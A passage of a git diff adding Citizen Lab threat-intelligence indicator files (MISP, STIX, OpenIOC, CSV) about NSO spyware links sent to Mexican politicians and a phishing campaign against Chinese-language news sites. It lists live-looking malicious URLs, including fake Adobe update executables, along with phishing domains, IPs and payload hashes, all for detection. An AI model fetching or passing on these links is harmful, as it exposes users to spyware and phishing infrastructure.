activity", + "to_ids": true, + "uuid": "59550c2c-9e44-4b22-b65a-06b28e96ca05", + "event_id": "107", + "distribution": "5", + "timestamp": "1498745900", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/9993247s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + } + ], + "ShadowAttribute": [ + + ], + "RelatedEvent": [ + { + "Event": { + "id": "104", + "date": "2017-06-26", + "threat_level_id": "1", + "info": "Reckless Exploit: Mexican Journalists, Lawyers, and a Child Targeted with NSO Spyware", + "published": true, + "uuid": "59513ebe-4144-4e2d-8670-06b38e96ca05", + "analysis": "2", + "timestamp": "1498497838", + "distribution": "1", + "org_id": "2", + "orgc_id": "2" + }, + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + } + } + ], + "Tag": [ + { + "id": "5", + "name": "SOURCE:CITIZENLAB", + "colour": "#ffad0d", + "exportable": true, + "org_id": false + }, + { + "id": "8", + "name": "PUBLISHED", + "colour": "#91caff", + "exportable": true, + "org_id": false + }, + { + "id": "16", + "name": "TLP:WHITE", + "colour": "#e8e8e8", + "exportable": true, + "org_id": false + }, + { + "id": "39", + "name": "TARGET:MEXICO", + "colour": "#056685", + "exportable": true, + "org_id": false + } + ] + } +}]} \ No newline at end of file diff --git a/data/ioc/spyware/citizen_lab/201706_RecklessRedux/openioc.ioc b/data/ioc/spyware/citizen_lab/201706_RecklessRedux/openioc.ioc new file mode 100644 index 0000000..612cf2a --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201706_RecklessRedux/openioc.ioc @@ -0,0 +1,49 @@ + + + Event #107 + Reckless Redux: Senior Mexican Legislators and Politicians Targeted with NSO Spyware + + citizenlab + 2017-06-29T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201706_RecklessRedux/stix.xml b/data/ioc/spyware/citizen_lab/201706_RecklessRedux/stix.xml new file mode 100644 index 0000000..8adee1a --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201706_RecklessRedux/stix.xml @@ -0,0 +1,306 @@ + + + Export from MISP + Threat Report + + + + + + Reckless Redux: Senior Mexican Legislators and Politicians Targeted with NSO Spyware (MISP Event #107) + Threat Report + + + + Reckless Redux: Senior Mexican Legislators and Politicians Targeted with NSO Spyware + 107 + + 2017-06-29T00:00:00+00:00 + 2017-06-29T10:18:44+00:00 + + Closed + + + Network activity + + Network activity: smsmensaje.mx (MISP Attribute #16345) + Malware Artifacts + Domain Watchlist + Network activity: smsmensaje.mx (MISP Attribute #16345) + + + + + smsmensaje.mx + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/29F2psM (MISP Attribute #16337) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/29F2psM (MISP Attribute #16337) + + + + + http://bit.ly/29F2psM + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://smsmensaje.mx/8306090s/ (MISP Attribute #16338) + Malware Artifacts + URL Watchlist + Network activity: https://smsmensaje.mx/8306090s/ (MISP Attribute #16338) + + + + + https://smsmensaje.mx/8306090s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/1WONumj (MISP Attribute #16339) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/1WONumj (MISP Attribute #16339) + + + + + http://bit.ly/1WONumj + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://smsmensaje.mx/4995075s/ (MISP Attribute #16340) + Malware Artifacts + URL Watchlist + Network activity: https://smsmensaje.mx/4995075s/ (MISP Attribute #16340) + + + + + https://smsmensaje.mx/4995075s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/1WRYHm8 (MISP Attribute #16341) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/1WRYHm8 (MISP Attribute #16341) + + + + + http://bit.ly/1WRYHm8 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://smsmensaje.mx/1351276s/ (MISP Attribute #16342) + Malware Artifacts + URL Watchlist + Network activity: https://smsmensaje.mx/1351276s/ (MISP Attribute #16342) + + + + + https://smsmensaje.mx/1351276s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/1UUsVi6 (MISP Attribute #16343) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/1UUsVi6 (MISP Attribute #16343) + + + + + http://bit.ly/1UUsVi6 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://smsmensaje.mx/9993247s/ (MISP Attribute #16344) + Malware Artifacts + URL Watchlist + Network activity: https://smsmensaje.mx/9993247s/ (MISP Attribute #16344) + + + + + https://smsmensaje.mx/9993247s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Event Threat Level: Medium + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: PUBLISHED + + + MISP Tag: TLP:WHITE + + + MISP Tag: TARGET:MEXICO + + + + + citizenlab + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201707_InsiderInfo/indicators.csv b/data/ioc/spyware/citizen_lab/201707_InsiderInfo/indicators.csv new file mode 100644 index 0000000..d7cd031 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201707_InsiderInfo/indicators.csv @@ -0,0 +1,48 @@ +uuid,event_id,category,type,value,comment,to_ids,date +595baf52-2a08-4576-9f76-06e38e96ca05,108,Payload delivery,email-src,"aisia.anminda8@mail.com","",0,20170704 +595baf52-7340-4840-bda0-06e38e96ca05,108,Payload delivery,email-src,"hellomice@mail.com","",0,20170704 +595baf7a-6598-4ecc-ba74-06e28e96ca05,108,Payload delivery,url,"http://43.240.14.37/asdasdasadqddd12222111.php/article.asp","",1,20170704 +595bafa7-2d34-43d7-87a1-06e38e96ca05,108,Payload delivery,url,"http://chinadagitaltimes.net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic","",1,20170704 +595bafe1-e518-4bfb-9701-06e28e96ca05,108,Payload delivery,ip-src,"43.240.14.37","hosted phishing page",1,20170704 +595bb024-550c-4f0e-89b0-06e38e96ca05,108,Attribution,whois-registrant-email,"aobama_5@yahoo.com","",0,20170704 +595bb071-226c-4930-9b42-06e28e96ca05,108,Payload delivery,domain,"secuerserver.com","",1,20170704 +595bb071-3318-40b2-945f-06e28e96ca05,108,Payload delivery,domain,"bowenpress.net","",1,20170704 +595bb071-3d20-4589-9055-06e28e96ca05,108,Payload delivery,domain,"bowenpress.org","",1,20170704 +595bb071-b9e0-4f44-a56e-06e28e96ca05,108,Payload delivery,domain,"datalink.one","",1,20170704 +595bb071-c44c-45ce-b8b4-06e28e96ca05,108,Payload delivery,domain,"bowenpross.com","",1,20170704 +595bb071-d1e8-4cde-9c68-06e28e96ca05,108,Payload delivery,domain,"bowenpres.com","",1,20170704 +595bb071-dcec-4872-ad35-06e28e96ca05,108,Payload delivery,domain,"epochatimes.com","",1,20170704 +595bb0af-3930-4285-9fdd-06e38e96ca05,108,Payload delivery,domain,"smtpout.secuerserver.com","",1,20170704 +595bb0af-4794-4d7f-ba4c-06e38e96ca05,108,Payload delivery,domain,"www.vnews.hk","",1,20170704 +595bb0af-5a40-459c-a05d-06e38e96ca05,108,Payload delivery,domain,"get.adobe.com.bowenpress.org","",1,20170704 +595bb0af-9bd4-4f6e-b2fa-06e38e96ca05,108,Payload delivery,domain,"hk.secuerserver.com","",1,20170704 +595bb0af-9c98-4021-9af7-06e38e96ca05,108,Payload delivery,domain,"www.mail.secuerserver.com","",1,20170704 +595bb0af-a424-469a-9a7f-06e38e96ca05,108,Payload delivery,domain,"www.secuerserver.com","",1,20170704 +595bb0af-c4b8-4124-a2b5-06e38e96ca05,108,Payload delivery,domain,"pop.secuerserver.com","",1,20170704 +595bb0af-e108-4480-aa27-06e38e96ca05,108,Payload delivery,domain,"www.bowenpress.org","",1,20170704 +595bb0cc-f258-491f-afcd-06e28e96ca05,108,Payload delivery,url,"http://get.adobe.com.bowenpress.org/Adobe/update/20161201/AdobeUpdate.html","",1,20170704 +595bb15f-4a08-4a4a-9ff5-06e38e96ca05,108,Payload delivery,url,"http://get.adobe.com.bowenpress.org/Adobe/update/20161201/AdobeUpdate20161201.exe","",1,20170704 +595bb15f-8488-4a3b-abea-06e38e96ca05,108,Payload delivery,url,"http://get.adobe.com.bowenpress.org/Adobe/update/20170312/AdobeUpdate20170312.exe","",1,20170704 +595bb15f-d000-400a-b7a9-06e38e96ca05,108,Payload delivery,url,"http://get.adobe.com.bowenpress.org/Adobe/update/20160812/AdobeUpdate20160812.exe","",1,20170704 +595bb15f-dc68-4468-9572-06e38e96ca05,108,Payload delivery,url,"http://get.adobe.com.bowenpress.org/Adobe/update/20160703/AdobeUpdate20160703.exe","",1,20170704 +595bb19a-2bec-4af4-bd28-06e28e96ca05,108,Network activity,domain,"email23.secuerserver.com","",1,20170704 +595bb19a-3be4-4267-9c73-06e28e96ca05,108,Network activity,domain,"hk.secuerserver.com","",1,20170704 +595bb19a-53fc-4c93-87b1-06e28e96ca05,108,Network activity,domain,"dns.bowenpress.org","",1,20170704 +595bb286-ee4c-4c91-91b9-06e38e96ca05,108,Payload delivery,ip-src,"45.124.24.39","Cloudie IP used for scanning",1,20170704 +595bb2d6-70e0-4d6d-bdc7-06e28e96ca05,108,Payload delivery,ip-src,"23.239.106.119","Gorilla servers malware and phishing server",1,20170704 +595bb322-0618-43dc-bd26-06e38e96ca05,108,Artifacts dropped,md5,"e0338b1f010fdc4751de5f58e4acf2ad","",0,20170704 +595bb322-0b70-4d94-873f-06e38e96ca05,108,Artifacts dropped,md5,"c1dabd54a672cbc2747c53a8041d5602","",0,20170704 +595bb322-0d44-4380-9208-06e38e96ca05,108,Artifacts dropped,md5,"d80fc6a4f175e3ab417b9f96c3b37c73","",0,20170704 +595bb322-12c0-4c0c-8d64-06e38e96ca05,108,Artifacts dropped,md5,"ac5763000ae435875f3b709a5f23ecc0","",0,20170704 +595bb322-2550-44cc-8747-06e38e96ca05,108,Artifacts dropped,md5,"19c5f8829444956ba30e023aaaec6408","",0,20170704 +595bb322-34b4-4c04-a93c-06e38e96ca05,108,Artifacts dropped,md5,"bb080489dbc98a59cac130475e019fb2","",0,20170704 +595bb322-4794-4b32-8ad7-06e38e96ca05,108,Artifacts dropped,md5,"88e027b1ef7b2da1766e6b6819bba0f0","",0,20170704 +595bb322-59ac-4310-aa50-06e38e96ca05,108,Artifacts dropped,md5,"e841ecaa44b3589120b72e60b53f39c6","",0,20170704 +595bb322-7e84-47a6-a022-06e38e96ca05,108,Artifacts dropped,md5,"95efa51b52f121cec239980127b7f96b","",0,20170704 +595bb322-88f8-4934-93ca-06e38e96ca05,108,Artifacts dropped,md5,"4ddf012d8a42ad2666e06ad2f0a8410e","",0,20170704 +595bb322-897c-4d64-99b1-06e38e96ca05,108,Artifacts dropped,md5,"2332aa40d15399179c068ab205a5303d","",0,20170704 +595bb322-90a4-47f8-9056-06e38e96ca05,108,Artifacts dropped,md5,"f282fd20d7eaebe848b5111ecdae82a6","",0,20170704 +595bb322-a12c-4e3f-b0ee-06e38e96ca05,108,Artifacts dropped,md5,"88f43fe753e64d9c536fca16979984ef","",0,20170704 +595bb322-dfec-480b-9ec1-06e38e96ca05,108,Artifacts dropped,md5,"029ba5f0f6997bc36a094e86848a5b82","",0,20170704 +595bb322-f1a0-4a70-a9ad-06e38e96ca05,108,Artifacts dropped,md5,"13b148aead5e844f7262da768873cec0","",0,20170704 +595bb322-fa5c-4ee1-b354-06e38e96ca05,108,Artifacts dropped,md5,"945de4d3a046a698aec222fc90a148ba","",0,20170704 diff --git a/data/ioc/spyware/citizen_lab/201707_InsiderInfo/misp.json b/data/ioc/spyware/citizen_lab/201707_InsiderInfo/misp.json new file mode 100644 index 0000000..dc283cf --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201707_InsiderInfo/misp.json @@ -0,0 +1,1412 @@ +{"response":[{ + "Event": { + "id": "108", + "orgc_id": "2", + "org_id": "2", + "date": "2017-07-04", + "threat_level_id": "1", + "info": "Insider Information: An intrusion campaign targeting Chinese language news sites", + "published": true, + "uuid": "595baf14-d8e8-4e33-be25-06e38e96ca05", + "attribute_count": "47", + "analysis": "0", + "timestamp": "1499181858", + "distribution": "1", + "proposal_email_lock": false, + "locked": false, + "publish_timestamp": "1499181953", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Attribute": [ + { + "id": "16407", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-2550-44cc-8747-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "19c5f8829444956ba30e023aaaec6408", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "19c5f8829444956ba30e023aaaec6408" + } + } + ] + }, + { + "id": "16408", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-12c0-4c0c-8d64-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ac5763000ae435875f3b709a5f23ecc0", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "ac5763000ae435875f3b709a5f23ecc0" + } + } + ] + }, + { + "id": "16409", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-0d44-4380-9208-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "d80fc6a4f175e3ab417b9f96c3b37c73", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "d80fc6a4f175e3ab417b9f96c3b37c73" + } + } + ] + }, + { + "id": "16410", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-fa5c-4ee1-b354-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "945de4d3a046a698aec222fc90a148ba", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "945de4d3a046a698aec222fc90a148ba" + } + } + ] + }, + { + "id": "16411", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-7e84-47a6-a022-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "95efa51b52f121cec239980127b7f96b", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "95efa51b52f121cec239980127b7f96b" + } + } + ] + }, + { + "id": "16412", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-f1a0-4a70-a9ad-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "13b148aead5e844f7262da768873cec0", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "13b148aead5e844f7262da768873cec0" + } + } + ] + }, + { + "id": "16413", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-dfec-480b-9ec1-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "029ba5f0f6997bc36a094e86848a5b82", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "029ba5f0f6997bc36a094e86848a5b82" + } + } + ] + }, + { + "id": "16414", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-59ac-4310-aa50-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "e841ecaa44b3589120b72e60b53f39c6", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "e841ecaa44b3589120b72e60b53f39c6" + } + } + ] + }, + { + "id": "16415", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-4794-4b32-8ad7-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "88e027b1ef7b2da1766e6b6819bba0f0", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "88e027b1ef7b2da1766e6b6819bba0f0" + } + } + ] + }, + { + "id": "16416", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-34b4-4c04-a93c-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bb080489dbc98a59cac130475e019fb2", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "bb080489dbc98a59cac130475e019fb2" + } + } + ] + }, + { + "id": "16417", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-a12c-4e3f-b0ee-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "88f43fe753e64d9c536fca16979984ef", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "88f43fe753e64d9c536fca16979984ef" + } + } + ] + }, + { + "id": "16418", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-90a4-47f8-9056-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "f282fd20d7eaebe848b5111ecdae82a6", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "f282fd20d7eaebe848b5111ecdae82a6" + } + } + ] + }, + { + "id": "16419", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-0618-43dc-bd26-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "e0338b1f010fdc4751de5f58e4acf2ad", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "e0338b1f010fdc4751de5f58e4acf2ad" + } + } + ] + }, + { + "id": "16420", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-0b70-4d94-873f-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "c1dabd54a672cbc2747c53a8041d5602", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "c1dabd54a672cbc2747c53a8041d5602" + } + } + ] + }, + { + "id": "16421", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-897c-4d64-99b1-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "2332aa40d15399179c068ab205a5303d", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "2332aa40d15399179c068ab205a5303d" + } + } + ] + }, + { + "id": "16422", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "595bb322-88f8-4934-93ca-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181858", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "4ddf012d8a42ad2666e06ad2f0a8410e", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "4ddf012d8a42ad2666e06ad2f0a8410e" + } + } + ] + }, + { + "id": "16353", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "595bb024-550c-4f0e-89b0-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181092", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "aobama_5@yahoo.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "aobama_5@yahoo.com" + } + } + ] + }, + { + "id": "16374", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595bb19a-2bec-4af4-bd28-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181466", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "email23.secuerserver.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "email23.secuerserver.com" + } + } + ] + }, + { + "id": "16375", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595bb19a-3be4-4267-9c73-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181466", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hk.secuerserver.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "hk.secuerserver.com" + } + } + ] + }, + { + "id": "16376", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "595bb19a-53fc-4c93-87b1-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181466", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "dns.bowenpress.org", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "dns.bowenpress.org" + } + } + ] + }, + { + "id": "16354", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb071-226c-4930-9b42-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181169", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "secuerserver.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "secuerserver.com" + } + } + ] + }, + { + "id": "16355", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb071-d1e8-4cde-9c68-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181169", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bowenpres.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "bowenpres.com" + } + } + ] + }, + { + "id": "16356", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb071-3318-40b2-945f-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181169", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bowenpress.net", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "bowenpress.net" + } + } + ] + }, + { + "id": "16357", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb071-3d20-4589-9055-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181169", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bowenpress.org", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "bowenpress.org" + } + } + ] + }, + { + "id": "16358", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb071-c44c-45ce-b8b4-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181169", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bowenpross.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "bowenpross.com" + } + } + ] + }, + { + "id": "16359", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb071-b9e0-4f44-a56e-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181169", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "datalink.one", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "datalink.one" + } + } + ] + }, + { + "id": "16360", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb071-dcec-4872-ad35-06e28e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181169", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "epochatimes.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "epochatimes.com" + } + } + ] + }, + { + "id": "16361", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb0af-5a40-459c-a05d-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181231", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "get.adobe.com.bowenpress.org", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media site.", + "value": "get.adobe.com.bowenpress.org" + } + } + ] + }, + { + "id": "16362", + "type": "domain", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595bb0af-9bd4-4f6e-b2fa-06e38e96ca05", + "event_id": "108", + "distribution": "5", + "timestamp": "1499181231", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hk.secuerserver.com", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "94", + "org_id": "2", + "info": "FAKENEWS - phishing campaign against China critical digital media 